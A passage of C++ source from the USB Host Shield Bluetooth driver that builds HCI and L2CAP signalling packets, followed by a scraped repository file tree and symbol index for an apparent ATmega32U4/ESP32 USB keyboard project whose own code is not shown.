        hcibuf[4] = (uint8_t)((handle >> 8) & 0x0F); //connection handle - high byte
        hcibuf[5] = 0x13; // reason

        HCI_Command(hcibuf, 6);
}

void BTD::hci_write_class_of_device() { // See http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html
        hcibuf[0] = 0x24; // HCI OCF = 24
        hcibuf[1] = 0x03 << 2; // HCI OGF = 3
        hcibuf[2] = 0x03; // parameter length = 3
        hcibuf[3] = 0x04; // Robot
        hcibuf[4] = 0x08; // Toy
        hcibuf[5] = 0x00;

        HCI_Command(hcibuf, 6);
}
/*******************************************************************
 *                                                                 *
 *                        HCI ACL Data Packet                      *
 *                                                                 *
 *   buf[0]          buf[1]          buf[2]          buf[3]
 *   0       4       8    11 12      16              24            31 MSB
 *  .-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
 *  |      HCI Handle       |PB |BC |       Data Total Length       |   HCI ACL Data Packet
 *  .-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
 *
 *   buf[4]          buf[5]          buf[6]          buf[7]
 *   0               8               16                            31 MSB
 *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
 *  |            Length             |          Channel ID           |   Basic L2CAP header
 *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
 *
 *   buf[8]          buf[9]          buf[10]         buf[11]
 *   0               8               16                            31 MSB
 *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
 *  |     Code      |  Identifier   |            Length             |   Control frame (C-frame)
 *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.   (signaling packet format)
 */
/************************************************************/
/*                    L2CAP Commands                        */

/************************************************************/
void BTD::L2CAP_Command(uint16_t handle, uint8_t* data, uint8_t nbytes, uint8_t channelLow, uint8_t channelHigh) {
        uint8_t buf[8 + nbytes];
        buf[0] = (uint8_t)(handle & 0xff); // HCI handle with PB,BC flag
        buf[1] = (uint8_t)(((handle >> 8) & 0x0f) | 0x20);
        buf[2] = (uint8_t)((4 + nbytes) & 0xff); // HCI ACL total data length
        buf[3] = (uint8_t)((4 + nbytes) >> 8);
        buf[4] = (uint8_t)(nbytes & 0xff); // L2CAP header: Length
        buf[5] = (uint8_t)(nbytes >> 8);
        buf[6] = channelLow;
        buf[7] = channelHigh;

        for(uint16_t i = 0; i < nbytes; i++) // L2CAP C-frame
                buf[8 + i] = data[i];

        uint8_t rcode = pUsb->outTransfer(bAddress, epInfo[ BTD_DATAOUT_PIPE ].epAddr, (8 + nbytes), buf);
        if(rcode) {
                delay(100); // This small delay prevents it from overflowing if it fails
#ifdef DEBUG_USB_HOST
                Notify(PSTR("\r\nError sending L2CAP message: 0x"), 0x80);
                D_PrintHex<uint8_t > (rcode, 0x80);
                Notify(PSTR(" - Channel ID: "), 0x80);
                D_PrintHex<uint8_t > (channelHigh, 0x80);
                Notify(PSTR(" "), 0x80);
                D_PrintHex<uint8_t > (channelLow, 0x80);
#endif
        }
}

void BTD::l2cap_connection_request(uint16_t handle, uint8_t rxid, uint8_t* scid, uint16_t psm) {
        l2capoutbuf[0] = L2CAP_CMD_CONNECTION_REQUEST; // Code
        l2capoutbuf[1] = rxid; // Identifier
        l2capoutbuf[2] = 0x04; // Length
        l2capoutbuf[3] = 0x00;
        l2capoutbuf[4] = (uint8_t)(psm & 0xff); // PSM
        l2capoutbuf[5] = (uint8_t)(psm >> 8);
        l2capoutbuf[6] = scid[0]; // Source CID
        l2capoutbuf[7] = scid[1];

        L2CAP_Command(handle, l2capoutbuf, 8);
}

void BTD::l2cap_connection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid, uint8_t result) {
        l2capoutbuf[0] = L2CAP_CMD_CONNECTION_RESPONSE; // Code
        l2capoutbuf[1] = rxid; // Identifier
        l2capoutbuf[2] = 0x08; // Length
        l2capoutbuf[3] = 0x00;
        l2capoutbuf[4] = dcid[0]; // Destination CID
        l2capoutbuf[5] = dcid[1];
        l2capoutbuf[6] = scid[0]; // Source CID
        l2capoutbuf[7] = scid[1];
        l2capoutbuf[8] = result; // Result: Pending or Success
        l2capoutbuf[9] = 0x00;
        l2capoutbuf[10] = 0x00; // No further information
        l2capoutbuf[11] = 0x00;

        L2CAP_Command(handle, l2capoutbuf, 12);
}

void BTD::l2cap_config_request(uint16_t handle, uint8_t rxid, uint8_t* dcid) {
        l2capoutbuf[0] = L2CAP_CMD_CONFIG_REQUEST; // Code
        l2capoutbuf[1] = rxid; // Identifier
        l2capoutbuf[2] = 0x08; // Length
        l2capoutbuf[3] = 0x00;
        l2capoutbuf[4] = dcid[0]; // Destination CID
        l2capoutbuf[5] = dcid[1];
        l2capoutbuf[6] = 0x00; // Flags
        l2capoutbuf[7] = 0x00;
        l2capoutbuf[8] = 0x01; // Config Opt: type = MTU (Maximum Transmission Unit) - Hint
        l2capoutbuf[9] = 0x02; // Config Opt: length
        l2capoutbuf[10] = 0xFF; // MTU
        l2capoutbuf[11] = 0xFF;

        L2CAP_Command(handle, l2capoutbuf, 12);
}

void BTD::l2cap_config_response(uint16_t handle, uint8_t rxid, uint8_t* scid) {
        l2capoutbuf[0] = L2CAP_CMD_CONFIG_RESPONSE; // Code
        l2capoutbuf[1] = rxid; // Identifier
        l2capoutbuf[2] = 0x0A; // Length
        l2capoutbuf[3] = 0x00;
        l2capoutbuf[4] = scid[0]; // Source CID
        l2capoutbuf[5] = scid[1];
        l2capoutbuf[6] = 0x00; // Flag
        l2capoutbuf[7] = 0x00;
        l2capoutbuf[8] = 0x00; // Result
        l2capoutbuf[9] = 0x00;
        l2capoutbuf[10] = 0x01; // Config
        l2capoutbuf[11] = 0x02;
        l2capoutbuf[12] = 0xA0;
        l2capoutbuf[13] = 0x02;

        L2CAP_Command(handle, l2capoutbuf, 14);
}

void BTD::l2cap_disconnection_request(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) {
        l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_REQUEST; // Code
        l2capoutbuf[1] = rxid; // Identifier
        l2capoutbuf[2] = 0x04; // Length
        l2capoutbuf[3] = 0x00;
        l2capoutbuf[4] = dcid[0];
        l2capoutbuf[5] = dcid[1];
        l2capoutbuf[6] = scid[0];
        l2capoutbuf[7] = scid[1];

        L2CAP_Command(handle, l2capoutbuf, 8);
}

void BTD::l2cap_disconnection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) {
        l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_RESPONSE; // Code
        l2capoutbuf[1] = rxid; // Identifier
        l2capoutbuf[2] = 0x04; // Length
        l2capoutbuf[3] = 0x00;
        l2capoutbuf[4] = dcid[0];
        l2capoutbuf[5] = dcid[1];
        l2capoutbuf[6] = scid[0];
        l2capoutbuf[7] = scid[1];

        L2CAP_Command(handle, l2capoutbuf, 8);
}

void BTD::l2cap_information_response(uint16_t handle, uint8_t rxid, uint8_t infoTypeLow, uint8_t infoTypeHigh) {
        l2capoutbuf[0] = L2CAP_CMD_INFORMATION_RESPONSE; // Code
        l2capoutbuf[1] = rxid; // Identifier
        l2capoutbuf[2] = 0x08; // Length
        l2capoutbuf[3] = 0x00;
        l2capoutbuf[4] = infoTypeLow;
        l2capoutbuf[5] = infoTypeHigh;
        l2capoutbuf[6] = 0x00; // Result = success
        l2capoutbuf[7] = 0x00; // Result = success
        l2capoutbuf[8] = 0x00;
        l2capoutbuf[9] = 0x00;
        l2capoutbuf[10] = 0x00;
        l2capoutbuf[11] = 0x00;

        L2CAP_Command(handle, l2capoutbuf, 12);
}

/* PS3 Commands - only set Bluetooth address is implemented in this library */
void BTD::setBdaddr(uint8_t* bdaddr) {
        /* Set the internal Bluetooth address */
        uint8_t buf[8];
        buf[0] = 0x01;
        buf[1] = 0x00;

        for(uint8_t i = 0; i < 6;
Download .txt
gitextract_op5brlrq/

├── README.md
├── code/
│   ├── ATMEGA32U4/
│   │   └── ATMEGA32U4.ino
│   └── ESP32/
│       ├── ESP32.ino
│       ├── config.h
│       ├── index.h
│       ├── javascript.h
│       ├── style.h
│       └── viewlog.h
├── libraries/
│   ├── Keyboard/
│   │   ├── Readme.md
│   │   ├── keywords.txt
│   │   ├── library.properties
│   │   └── src/
│   │       ├── Keyboard.cpp
│   │       ├── Keyboard.h
│   │       ├── be_be.h
│   │       ├── cz_cz.h
│   │       ├── da_dk.h
│   │       ├── de_de.h
│   │       ├── en_us.h
│   │       ├── es_es.h
│   │       ├── fi_fi.h
│   │       ├── fr_fr.h
│   │       ├── it_it.h
│   │       ├── pt_pt.h
│   │       └── tr_tr.h
│   └── USB_Host_Shield_2.0/
│       ├── .gitattributes
│       ├── .gitignore
│       ├── .gitmodules
│       ├── .travis.yml
│       ├── BTD.cpp
│       ├── BTD.h
│       ├── BTHID.cpp
│       ├── BTHID.h
│       ├── PS3BT.cpp
│       ├── PS3BT.h
│       ├── PS3Enums.h
│       ├── PS3USB.cpp
│       ├── PS3USB.h
│       ├── PS4BT.h
│       ├── PS4Parser.cpp
│       ├── PS4Parser.h
│       ├── PS4USB.h
│       ├── PSBuzz.cpp
│       ├── PSBuzz.h
│       ├── README.md
│       ├── SPP.cpp
│       ├── SPP.h
│       ├── Usb.cpp
│       ├── Usb.h
│       ├── UsbCore.h
│       ├── Wii.cpp
│       ├── Wii.h
│       ├── WiiCameraReadme.md
│       ├── XBOXOLD.cpp
│       ├── XBOXOLD.h
│       ├── XBOXONE.cpp
│       ├── XBOXONE.h
│       ├── XBOXRECV.cpp
│       ├── XBOXRECV.h
│       ├── XBOXUSB.cpp
│       ├── XBOXUSB.h
│       ├── address.h
│       ├── adk.cpp
│       ├── adk.h
│       ├── avrpins.h
│       ├── cdc_XR21B1411.cpp
│       ├── cdc_XR21B1411.h
│       ├── cdcacm.cpp
│       ├── cdcacm.h
│       ├── cdcftdi.cpp
│       ├── cdcftdi.h
│       ├── cdcprolific.cpp
│       ├── cdcprolific.h
│       ├── confdescparser.h
│       ├── controllerEnums.h
│       ├── examples/
│       │   ├── Bluetooth/
│       │   │   ├── BTHID/
│       │   │   │   ├── BTHID.ino
│       │   │   │   ├── KeyboardParser.h
│       │   │   │   └── MouseParser.h
│       │   │   ├── PS3BT/
│       │   │   │   └── PS3BT.ino
│       │   │   ├── PS3Multi/
│       │   │   │   └── PS3Multi.ino
│       │   │   ├── PS3SPP/
│       │   │   │   └── PS3SPP.ino
│       │   │   ├── PS4BT/
│       │   │   │   └── PS4BT.ino
│       │   │   ├── SPP/
│       │   │   │   └── SPP.ino
│       │   │   ├── SPPMulti/
│       │   │   │   └── SPPMulti.ino
│       │   │   ├── Wii/
│       │   │   │   └── Wii.ino
│       │   │   ├── WiiBalanceBoard/
│       │   │   │   └── WiiBalanceBoard.ino
│       │   │   ├── WiiIRCamera/
│       │   │   │   └── WiiIRCamera.ino
│       │   │   ├── WiiMulti/
│       │   │   │   └── WiiMulti.ino
│       │   │   └── WiiUProController/
│       │   │       └── WiiUProController.ino
│       │   ├── HID/
│       │   │   ├── SRWS1/
│       │   │   │   ├── SRWS1.cpp
│       │   │   │   ├── SRWS1.h
│       │   │   │   └── SRWS1.ino
│       │   │   ├── USBHIDBootKbd/
│       │   │   │   └── USBHIDBootKbd.ino
│       │   │   ├── USBHIDBootKbdAndMouse/
│       │   │   │   └── USBHIDBootKbdAndMouse.ino
│       │   │   ├── USBHIDBootMouse/
│       │   │   │   └── USBHIDBootMouse.ino
│       │   │   ├── USBHIDJoystick/
│       │   │   │   ├── USBHIDJoystick.ino
│       │   │   │   ├── hidjoystickrptparser.cpp
│       │   │   │   └── hidjoystickrptparser.h
│       │   │   ├── USBHIDMultimediaKbd/
│       │   │   │   └── USBHIDMultimediaKbd.ino
│       │   │   ├── USBHID_desc/
│       │   │   │   ├── USBHID_desc.ino
│       │   │   │   └── pgmstrings.h
│       │   │   ├── le3dp/
│       │   │   │   ├── le3dp.ino
│       │   │   │   ├── le3dp_rptparser.cpp
│       │   │   │   └── le3dp_rptparser.h
│       │   │   └── scale/
│       │   │       ├── scale.ino
│       │   │       ├── scale_rptparser.cpp
│       │   │       └── scale_rptparser.h
│       │   ├── PS3USB/
│       │   │   └── PS3USB.ino
│       │   ├── PS4USB/
│       │   │   └── PS4USB.ino
│       │   ├── PSBuzz/
│       │   │   └── PSBuzz.ino
│       │   ├── USBH_MIDI/
│       │   │   ├── USBH_MIDI_dump/
│       │   │   │   └── USBH_MIDI_dump.ino
│       │   │   ├── USB_MIDI_converter/
│       │   │   │   └── USB_MIDI_converter.ino
│       │   │   ├── USB_MIDI_converter_multi/
│       │   │   │   └── USB_MIDI_converter_multi.ino
│       │   │   ├── bidirectional_converter/
│       │   │   │   └── bidirectional_converter.ino
│       │   │   └── eVY1_sample/
│       │   │       └── eVY1_sample.ino
│       │   ├── USB_desc/
│       │   │   ├── USB_desc.ino
│       │   │   └── pgmstrings.h
│       │   ├── Xbox/
│       │   │   ├── XBOXOLD/
│       │   │   │   └── XBOXOLD.ino
│       │   │   ├── XBOXONE/
│       │   │   │   └── XBOXONE.ino
│       │   │   ├── XBOXRECV/
│       │   │   │   └── XBOXRECV.ino
│       │   │   └── XBOXUSB/
│       │   │       └── XBOXUSB.ino
│       │   ├── acm/
│       │   │   └── acm_terminal/
│       │   │       ├── acm_terminal.ino
│       │   │       └── pgmstrings.h
│       │   ├── adk/
│       │   │   ├── ArduinoBlinkLED/
│       │   │   │   └── ArduinoBlinkLED.ino
│       │   │   ├── adk_barcode/
│       │   │   │   └── adk_barcode.ino
│       │   │   ├── demokit_20/
│       │   │   │   └── demokit_20.ino
│       │   │   ├── term_test/
│       │   │   │   └── term_test.ino
│       │   │   └── term_time/
│       │   │       └── term_time.ino
│       │   ├── board_qc/
│       │   │   └── board_qc.ino
│       │   ├── cdc_XR21B1411/
│       │   │   └── XR_terminal/
│       │   │       └── XR_terminal.ino
│       │   ├── ftdi/
│       │   │   └── USBFTDILoopback/
│       │   │       ├── USBFTDILoopback.ino
│       │   │       └── pgmstrings.h
│       │   ├── hub_demo/
│       │   │   ├── hub_demo.ino
│       │   │   └── pgmstrings.h
│       │   ├── max_LCD/
│       │   │   └── max_LCD.ino
│       │   ├── pl2303/
│       │   │   ├── pl2303_gprs_terminal/
│       │   │   │   └── pl2303_gprs_terminal.ino
│       │   │   ├── pl2303_gps/
│       │   │   │   └── pl2303_gps.ino
│       │   │   ├── pl2303_tinygps/
│       │   │   │   └── pl2303_tinygps.ino
│       │   │   └── pl2303_xbee_terminal/
│       │   │       └── pl2303_xbee_terminal.ino
│       │   └── testusbhostFAT/
│       │       ├── Makefile
│       │       ├── README.md
│       │       └── testusbhostFAT.ino
│       ├── gpl2.txt
│       ├── hexdump.h
│       ├── hidboot.cpp
│       ├── hidboot.h
│       ├── hidcomposite.cpp
│       ├── hidcomposite.h
│       ├── hidescriptorparser.cpp
│       ├── hidescriptorparser.h
│       ├── hiduniversal.cpp
│       ├── hiduniversal.h
│       ├── hidusagestr.h
│       ├── hidusagetitlearrays.cpp
│       ├── keywords.txt
│       ├── library.json
│       ├── library.properties
│       ├── macros.h
│       ├── masstorage.cpp
│       ├── masstorage.h
│       ├── max3421e.h
│       ├── max_LCD.cpp
│       ├── max_LCD.h
│       ├── message.cpp
│       ├── message.h
│       ├── parsetools.cpp
│       ├── parsetools.h
│       ├── printhex.h
│       ├── settings.h
│       ├── sink_parser.h
│       ├── usb_ch9.h
│       ├── usbh_midi.cpp
│       ├── usbh_midi.h
│       ├── usbhid.cpp
│       ├── usbhid.h
│       ├── usbhost.h
│       ├── usbhub.cpp
│       ├── usbhub.h
│       ├── version_helper.h
│       └── xboxEnums.h
└── license.txt
Download .txt
SYMBOL INDEX (400 symbols across 60 files)

FILE: code/ESP32/config.h
  function new (line 83) | new URLSearchParams({ ssid, password })
  function function (line 116) | function clearCache() {
  function function (line 127) | function rebootDevice() {
  function function (line 136) | function showMessage(type, text) {
  function function (line 145) | function checkConnection() {

FILE: code/ESP32/javascript.h
  function function (line 9) | function checkConnection() {
  function function (line 56) | function abortAllRequests() {
  function function (line 61) | function setupNavigation() {
  function function (line 103) | function updateConnectionStatus(isOnline) {
  function function (line 117) | function updateStats(data) {
  function function (line 128) | function formatBytes(bytes) {
  function function (line 136) | function formatUptime(seconds) {
  function d (line 142) | d ${hours}
  function h (line 142) | h ${minutes}
  function m (line 142) | m ${secs}s`;

FILE: code/ESP32/style.h
  function keyframes (line 510) | keyframes toastSlideDown {
  function keyframes (line 521) | keyframes toastFadeOut {
  function keyframes (line 1310) | keyframes pulse {
  function and (line 1315) | media (hover: none) and (pointer: coarse) {

FILE: code/ESP32/viewlog.h
  function catch (line 127) | catch (error) {
  function function (line 133) | function deleteLog() {
  function function (line 148) | function showMessage(type, text) {
  function function (line 157) | function checkConnection() {

FILE: libraries/Keyboard/src/Keyboard.h
  type KeyReport (line 111) | typedef struct
  function class (line 118) | class Keyboard_ : public Print

FILE: libraries/USB_Host_Shield_2.0/BTD.h
  function virtual (line 241) | virtual uint8_t GetAddress() {
  function virtual (line 249) | virtual bool isReady() {
  function virtual (line 258) | virtual bool DEVCLASSOK(uint8_t klass) {
  function virtual (line 269) | virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {
  function registerBluetoothService (line 300) | int8_t registerBluetoothService(BluetoothService *pService) {
  function pairWithWiimote (line 467) | void pairWithWiimote() {
  function pairWithHID (line 483) | void pairWithHID() {
  function readPollInterval (line 499) | uint8_t readPollInterval() {
  function class (line 569) | class BluetoothService {

FILE: libraries/USB_Host_Shield_2.0/BTHID.h
  function class (line 29) | class BTHID : public BluetoothService {

FILE: libraries/USB_Host_Shield_2.0/PS3BT.cpp
  function String (line 141) | String PS3BT::getTemperature() {

FILE: libraries/USB_Host_Shield_2.0/PS3BT.h
  function class (line 32) | class PS3BT : public BluetoothService {

FILE: libraries/USB_Host_Shield_2.0/PS3Enums.h
  type StatusEnum (line 113) | enum StatusEnum {

FILE: libraries/USB_Host_Shield_2.0/PS3USB.h
  function class (line 49) | class PS3USB : public USBDeviceConfig {

FILE: libraries/USB_Host_Shield_2.0/PS4BT.h
  function connected (line 45) | bool connected() {
  function virtual (line 65) | virtual void OnInitBTHID() {
  function virtual (line 75) | virtual void ResetBTHID() {
  function virtual (line 81) | virtual void sendOutputReport(PS4Output *output) { // Source: https://gi...
  function HID_Command (line 117) | void HID_Command(uint8_t *data, uint8_t nbytes) {

FILE: libraries/USB_Host_Shield_2.0/PS4Parser.cpp
  type DPADEnum (line 20) | enum DPADEnum {

FILE: libraries/USB_Host_Shield_2.0/PS4Parser.h
  type touchpadXY (line 74) | struct touchpadXY {
  type PS4Status (line 84) | struct PS4Status {
  type PS4Data (line 92) | struct PS4Data {
  type PS4Output (line 116) | struct PS4Output {
  function class (line 124) | class PS4Parser {

FILE: libraries/USB_Host_Shield_2.0/PS4USB.h
  function connected (line 47) | bool connected() {
  function attachOnInit (line 55) | void attachOnInit(void (*funcOnInit)(void)) {
  function virtual (line 78) | virtual uint8_t OnInitSuccessful() {
  function virtual (line 91) | virtual void sendOutputReport(PS4Output *output) { // Source: https://gi...
  function virtual (line 123) | virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {

FILE: libraries/USB_Host_Shield_2.0/PSBuzz.h
  function class (line 43) | class PSBuzz : public HIDUniversal {

FILE: libraries/USB_Host_Shield_2.0/SPP.h
  function operator (line 80) | operator bool() {
  function flush (line 94) | void flush(void) {

FILE: libraries/USB_Host_Shield_2.0/Usb.cpp
  function EpInfo (line 51) | EpInfo* USB::getEpInfoEntry(uint8_t addr, uint8_t ep) {

FILE: libraries/USB_Host_Shield_2.0/UsbCore.h
  type MAX3421e (line 36) | typedef MAX3421e<P6, P3> MAX3421E;
  type MAX3421e (line 39) | typedef MAX3421e<P20, P7> MAX3421E;
  type MAX3421e (line 41) | typedef MAX3421e<P9, P8> MAX3421E;
  type MAX3421e (line 44) | typedef MAX3421e<P53, P54> MAX3421E;
  type MAX3421e (line 46) | typedef MAX3421e<P20, P19> MAX3421E;
  type MAX3421e (line 48) | typedef MAX3421e<P3, P2> MAX3421E;
  type MAX3421e (line 50) | typedef MAX3421e<P15, P5> MAX3421E;
  type MAX3421e (line 52) | typedef MAX3421e<P5, P17> MAX3421E;
  type MAX3421e (line 54) | typedef MAX3421e<P10, P9> MAX3421E;
  function class (line 132) | class USBDeviceConfig {
  type SETUP_PKT (line 174) | typedef struct {
  function class (line 203) | class USBReadParser {
  function class (line 208) | class USB : public MAX3421E {
  function getDevDescr (line 283) | inline uint8_t USB::getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbyte...
  function getConfDescr (line 288) | inline uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbyt...
  function getStrDescr (line 293) | inline uint8_t USB::getStrDescr(uint8_t addr, uint8_t ep, uint16_t nuint...
  function setAddr (line 298) | inline uint8_t USB::setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr) {
  function setConf (line 303) | inline uint8_t USB::setConf(uint8_t addr, uint8_t ep, uint8_t conf_value) {

FILE: libraries/USB_Host_Shield_2.0/Wii.h
  type HatEnum (line 36) | enum HatEnum {
  type BalanceBoardEnum (line 44) | enum BalanceBoardEnum {
  function class (line 56) | class WII : public BluetoothService {

FILE: libraries/USB_Host_Shield_2.0/XBOXOLD.h
  function class (line 46) | class XBOXOLD : public USBDeviceConfig {

FILE: libraries/USB_Host_Shield_2.0/XBOXONE.h
  function virtual (line 97) | virtual uint8_t GetAddress() {
  function virtual (line 105) | virtual bool isReady() {
  function readPollInterval (line 113) | uint8_t readPollInterval() {
  function virtual (line 123) | virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {
  function attachOnInit (line 156) | void attachOnInit(void (*funcOnInit)(void)) {

FILE: libraries/USB_Host_Shield_2.0/XBOXRECV.h
  function class (line 55) | class XBOXRECV : public USBDeviceConfig {
  function attachOnInit (line 223) | void attachOnInit(void (*funcOnInit)(void)) {

FILE: libraries/USB_Host_Shield_2.0/XBOXUSB.h
  function class (line 53) | class XBOXUSB : public USBDeviceConfig {

FILE: libraries/USB_Host_Shield_2.0/address.h
  type EpInfo (line 39) | struct EpInfo {
  type UsbDeviceAddress (line 64) | struct UsbDeviceAddress {
  type UsbDevice (line 82) | struct UsbDevice {
  function class (line 90) | class AddressPool {
  function InitEntry (line 113) | void InitEntry(uint8_t index) {
  function FreeAddressByIndex (line 142) | void FreeAddressByIndex(uint8_t index) {
  function InitAllAddresses (line 162) | void InitAllAddresses() {
  function virtual (line 188) | virtual UsbDevice* GetUsbDevicePtr(uint8_t addr) {
  function ForEachUsbDevice (line 199) | void ForEachUsbDevice(UsbDeviceHandleFunc pfunc) {
  function virtual (line 262) | virtual void FreeAddress(uint8_t addr) {

FILE: libraries/USB_Host_Shield_2.0/adk.h
  function virtual (line 103) | virtual uint8_t Poll() {
  function virtual (line 107) | virtual uint8_t GetAddress() {
  function virtual (line 111) | virtual bool isReady() {
  function virtual (line 115) | virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {
  function getProto (line 126) | inline uint8_t ADK::getProto(uint8_t* adkproto) {
  function sendStr (line 131) | inline uint8_t ADK::sendStr(uint8_t index, const char* str) {
  function switchAcc (line 136) | inline uint8_t ADK::switchAcc(void) {

FILE: libraries/USB_Host_Shield_2.0/avrpins.h
  function Set (line 195) | static void Set() {
  function Set (line 199) | static void Set(uint8_t val) {
  function SetDir (line 205) | static void SetDir(uint8_t val) {
  function Clear (line 211) | static void Clear() {
  function Toggle (line 215) | static void Toggle() {
  function SetDirRead (line 219) | static void SetDirRead() {
  function SetDirWrite (line 223) | static void SetDirWrite() {
  function IsSet (line 227) | static uint8_t IsSet() {
  function WaiteForSet (line 231) | static void WaiteForSet() {
  function WaiteForClear (line 236) | static void WaiteForClear() {
  function Set (line 256) | static void Set() {
  function Clear (line 260) | static void Clear() {
  function Toggle (line 264) | static void Toggle() {
  type TPin (line 271) | typedef TPin<Porta, 0 > Pa0;
  type TPin (line 272) | typedef TPin<Porta, 1 > Pa1;
  type TPin (line 273) | typedef TPin<Porta, 2 > Pa2;
  type TPin (line 274) | typedef TPin<Porta, 3 > Pa3;
  type TPin (line 275) | typedef TPin<Porta, 4 > Pa4;
  type TPin (line 276) | typedef TPin<Porta, 5 > Pa5;
  type TPin (line 277) | typedef TPin<Porta, 6 > Pa6;
  type TPin (line 278) | typedef TPin<Porta, 7 > Pa7;
  type TPin (line 282) | typedef TPin<Portb, 0 > Pb0;
  type TPin (line 283) | typedef TPin<Portb, 1 > Pb1;
  type TPin (line 284) | typedef TPin<Portb, 2 > Pb2;
  type TPin (line 285) | typedef TPin<Portb, 3 > Pb3;
  type TPin (line 286) | typedef TPin<Portb, 4 > Pb4;
  type TPin (line 287) | typedef TPin<Portb, 5 > Pb5;
  type TPin (line 288) | typedef TPin<Portb, 6 > Pb6;
  type TPin (line 289) | typedef TPin<Portb, 7 > Pb7;
  type TPin (line 293) | typedef TPin<Portc, 0 > Pc0;
  type TPin (line 294) | typedef TPin<Portc, 1 > Pc1;
  type TPin (line 295) | typedef TPin<Portc, 2 > Pc2;
  type TPin (line 296) | typedef TPin<Portc, 3 > Pc3;
  type TPin (line 297) | typedef TPin<Portc, 4 > Pc4;
  type TPin (line 298) | typedef TPin<Portc, 5 > Pc5;
  type TPin (line 299) | typedef TPin<Portc, 6 > Pc6;
  type TPin (line 300) | typedef TPin<Portc, 7 > Pc7;
  type TPin (line 304) | typedef TPin<Portd, 0 > Pd0;
  type TPin (line 305) | typedef TPin<Portd, 1 > Pd1;
  type TPin (line 306) | typedef TPin<Portd, 2 > Pd2;
  type TPin (line 307) | typedef TPin<Portd, 3 > Pd3;
  type TPin (line 308) | typedef TPin<Portd, 4 > Pd4;
  type TPin (line 309) | typedef TPin<Portd, 5 > Pd5;
  type TPin (line 310) | typedef TPin<Portd, 6 > Pd6;
  type TPin (line 311) | typedef TPin<Portd, 7 > Pd7;
  type TPin (line 315) | typedef TPin<Porte, 0 > Pe0;
  type TPin (line 316) | typedef TPin<Porte, 1 > Pe1;
  type TPin (line 317) | typedef TPin<Porte, 2 > Pe2;
  type TPin (line 318) | typedef TPin<Porte, 3 > Pe3;
  type TPin (line 319) | typedef TPin<Porte, 4 > Pe4;
  type TPin (line 320) | typedef TPin<Porte, 5 > Pe5;
  type TPin (line 321) | typedef TPin<Porte, 6 > Pe6;
  type TPin (line 322) | typedef TPin<Porte, 7 > Pe7;
  type TPin (line 326) | typedef TPin<Portf, 0 > Pf0;
  type TPin (line 327) | typedef TPin<Portf, 1 > Pf1;
  type TPin (line 328) | typedef TPin<Portf, 2 > Pf2;
  type TPin (line 329) | typedef TPin<Portf, 3 > Pf3;
  type TPin (line 330) | typedef TPin<Portf, 4 > Pf4;
  type TPin (line 331) | typedef TPin<Portf, 5 > Pf5;
  type TPin (line 332) | typedef TPin<Portf, 6 > Pf6;
  type TPin (line 333) | typedef TPin<Portf, 7 > Pf7;
  type TPin (line 337) | typedef TPin<Portg, 0 > Pg0;
  type TPin (line 338) | typedef TPin<Portg, 1 > Pg1;
  type TPin (line 339) | typedef TPin<Portg, 2 > Pg2;
  type TPin (line 340) | typedef TPin<Portg, 3 > Pg3;
  type TPin (line 341) | typedef TPin<Portg, 4 > Pg4;
  type TPin (line 342) | typedef TPin<Portg, 5 > Pg5;
  type TPin (line 343) | typedef TPin<Portg, 6 > Pg6;
  type TPin (line 344) | typedef TPin<Portg, 7 > Pg7;
  type TPin (line 348) | typedef TPin<Porth, 0 > Ph0;
  type TPin (line 349) | typedef TPin<Porth, 1 > Ph1;
  type TPin (line 350) | typedef TPin<Porth, 2 > Ph2;
  type TPin (line 351) | typedef TPin<Porth, 3 > Ph3;
  type TPin (line 352) | typedef TPin<Porth, 4 > Ph4;
  type TPin (line 353) | typedef TPin<Porth, 5 > Ph5;
  type TPin (line 354) | typedef TPin<Porth, 6 > Ph6;
  type TPin (line 355) | typedef TPin<Porth, 7 > Ph7;
  type TPin (line 359) | typedef TPin<Portj, 0 > Pj0;
  type TPin (line 360) | typedef TPin<Portj, 1 > Pj1;
  type TPin (line 361) | typedef TPin<Portj, 2 > Pj2;
  type TPin (line 362) | typedef TPin<Portj, 3 > Pj3;
  type TPin (line 363) | typedef TPin<Portj, 4 > Pj4;
  type TPin (line 364) | typedef TPin<Portj, 5 > Pj5;
  type TPin (line 365) | typedef TPin<Portj, 6 > Pj6;
  type TPin (line 366) | typedef TPin<Portj, 7 > Pj7;
  type TPin (line 370) | typedef TPin<Portk, 0 > Pk0;
  type TPin (line 371) | typedef TPin<Portk, 1 > Pk1;
  type TPin (line 372) | typedef TPin<Portk, 2 > Pk2;
  type TPin (line 373) | typedef TPin<Portk, 3 > Pk3;
  type TPin (line 374) | typedef TPin<Portk, 4 > Pk4;
  type TPin (line 375) | typedef TPin<Portk, 5 > Pk5;
  type TPin (line 376) | typedef TPin<Portk, 6 > Pk6;
  type TPin (line 377) | typedef TPin<Portk, 7 > Pk7;
  type TPin (line 381) | typedef TPin<Portl, 0 > Pl0;
  type TPin (line 382) | typedef TPin<Portl, 1 > Pl1;
  type TPin (line 383) | typedef TPin<Portl, 2 > Pl2;
  type TPin (line 384) | typedef TPin<Portl, 3 > Pl3;
  type TPin (line 385) | typedef TPin<Portl, 4 > Pl4;
